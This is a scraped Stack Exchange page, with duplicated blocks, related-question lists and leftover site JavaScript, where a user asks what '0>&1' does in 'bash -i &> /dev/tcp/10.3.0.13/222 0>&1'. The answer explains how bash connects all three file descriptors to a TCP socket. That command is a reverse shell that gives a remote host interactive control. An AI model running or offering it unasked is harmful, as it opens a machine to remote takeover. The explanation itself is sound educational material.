What does the 0>&1 shell redirection mean?What does a “< <(…)” redirection mean?what do you mean by interactive shell?&> redirection not working correctlyUnderstanding Bash's Read-a-File Command Substitutionpipe in shell with redirectionBash interactive mode on redirectDuplication of file descriptors in redirectionwhat does “sh -” mean?Read / write to the same file descriptor with shell redirectionbash shell modes? how to pipe request to shell on remote server
chmod would set file permission to 000 no matter what permission i try to set
Could I be denied entry into Ireland due to medical and police situations during a previous UK visit?
How should I push back against my job assigning "homework"?
What is the intuition behind uniform continuity?
Can an old DSLR be upgraded to match modern smartphone image quality
Is having a hidden directory under /etc safe?
What is the difference between nullifying your vote and not going to vote at all?
What caused the tendency for conservatives to not support climate change regulations?
Team member doesn't give me the minimum time to complete a talk
How to prevent bad sectors?
How can I offer a test ride while selling a bike?
Is floating in space similar to falling under gravity?
What's the most polite way to tell a manager "shut up and let me work"?
Why is there a need to modify system call tables in linux?
Select row of data if next row contains zero
Creating Fictional Slavic Place Names
Can non-English-speaking characters use wordplay specific to English?
Why were the Night's Watch required to be celibate?
Where can I find the list of all tendons in the human body?
What is the indigenous Russian word for a wild boar?
How to detach yourself from a character you're going to kill?
Why the lack of hesitance to wear pads on the sabbath?
Points within polygons in different projections
Looking after a wayward brother in mother's will
What does the 0>&1 shell redirection mean?
What does a “< <(…)” redirection mean?what do you mean by interactive shell?&> redirection not working correctlyUnderstanding Bash's Read-a-File Command Substitutionpipe in shell with redirectionBash interactive mode on redirectDuplication of file descriptors in redirectionwhat does “sh -” mean?Read / write to the same file descriptor with shell redirectionbash shell modes? how to pipe request to shell on remote server
.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;
trying to understand the command:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
it means that the STDIN of "bash -i" will get the STDOUT contents?
shell
New contributor
add a comment |
trying to understand the command:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
it means that the STDIN of "bash -i" will get the STDOUT contents?
shell
New contributor
add a comment |
trying to understand the command:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
it means that the STDIN of "bash -i" will get the STDOUT contents?
shell
New contributor
trying to understand the command:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
it means that the STDIN of "bash -i" will get the STDOUT contents?
shell
shell
New contributor
New contributor
edited 7 hours ago
Stéphane Chazelas
320k57607978
320k57607978
New contributor
asked 9 hours ago
Gabriel Ortiz LourGabriel Ortiz Lour
161
161
New contributor
New contributor
add a comment |
add a comment |
1 Answer
1
active
oldest
votes
&> file
itself is the same as > file 2>&1
, that is open file
in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription
0>&1
adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).
Now, when doing > /dev/tcp/host/port
in bash
(like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY)
, bash
creates a TCP socket and connects it to host:port
. That's not a write-only redirection, that's a read+write network socket.
So you end up with fds 0, 1 and 2 of bash -i
being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post
and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
@GabrielOrtizLour,0>&1
does adup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
– Stéphane Chazelas
8 hours ago
add a comment |
Your Answer
StackExchange.ready(function()
var channelOptions =
tags: "".split(" "),
id: "106"
;
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function()
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled)
StackExchange.using("snippets", function()
createEditor();
);
else
createEditor();
);
function createEditor()
StackExchange.prepareEditor(
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: false,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: null,
bindNavPrevention: true,
postfix: "",
imageUploader:
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
,
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
);
);
Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f521596%2fwhat-does-the-01-shell-redirection-mean%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
1 Answer
1
active
oldest
votes
1 Answer
1
active
oldest
votes
active
oldest
votes
active
oldest
votes
&> file
itself is the same as > file 2>&1
, that is open file
in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription
0>&1
adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).
Now, when doing > /dev/tcp/host/port
in bash
(like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY)
, bash
creates a TCP socket and connects it to host:port
. That's not a write-only redirection, that's a read+write network socket.
So you end up with fds 0, 1 and 2 of bash -i
being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post
and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
@GabrielOrtizLour,0>&1
does adup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
– Stéphane Chazelas
8 hours ago
add a comment |
&> file
itself is the same as > file 2>&1
, that is open file
in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription
0>&1
adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).
Now, when doing > /dev/tcp/host/port
in bash
(like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY)
, bash
creates a TCP socket and connects it to host:port
. That's not a write-only redirection, that's a read+write network socket.
So you end up with fds 0, 1 and 2 of bash -i
being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post
and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
@GabrielOrtizLour,0>&1
does adup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
– Stéphane Chazelas
8 hours ago
add a comment |
&> file
itself is the same as > file 2>&1
, that is open file
in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription
0>&1
adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).
Now, when doing > /dev/tcp/host/port
in bash
(like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY)
, bash
creates a TCP socket and connects it to host:port
. That's not a write-only redirection, that's a read+write network socket.
So you end up with fds 0, 1 and 2 of bash -i
being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post
and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
&> file
itself is the same as > file 2>&1
, that is open file
in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription
0>&1
adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).
Now, when doing > /dev/tcp/host/port
in bash
(like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY)
, bash
creates a TCP socket and connects it to host:port
. That's not a write-only redirection, that's a read+write network socket.
So you end up with fds 0, 1 and 2 of bash -i
being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post
and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
answered 8 hours ago
Stéphane ChazelasStéphane Chazelas
320k57607978
320k57607978
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
@GabrielOrtizLour,0>&1
does adup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
– Stéphane Chazelas
8 hours ago
add a comment |
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
@GabrielOrtizLour,0>&1
does adup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
– Stéphane Chazelas
8 hours ago
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
So the 0>&1 only works because the socket is RW?
– Gabriel Ortiz Lour
8 hours ago
1
1
@GabrielOrtizLour,
0>&1
does a dup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.– Stéphane Chazelas
8 hours ago
@GabrielOrtizLour,
0>&1
does a dup2(1, 0)
regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.– Stéphane Chazelas
8 hours ago
add a comment |
Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.
Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.
Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.
Gabriel Ortiz Lour is a new contributor. Be nice, and check out our Code of Conduct.
Thanks for contributing an answer to Unix & Linux Stack Exchange!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f521596%2fwhat-does-the-01-shell-redirection-mean%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown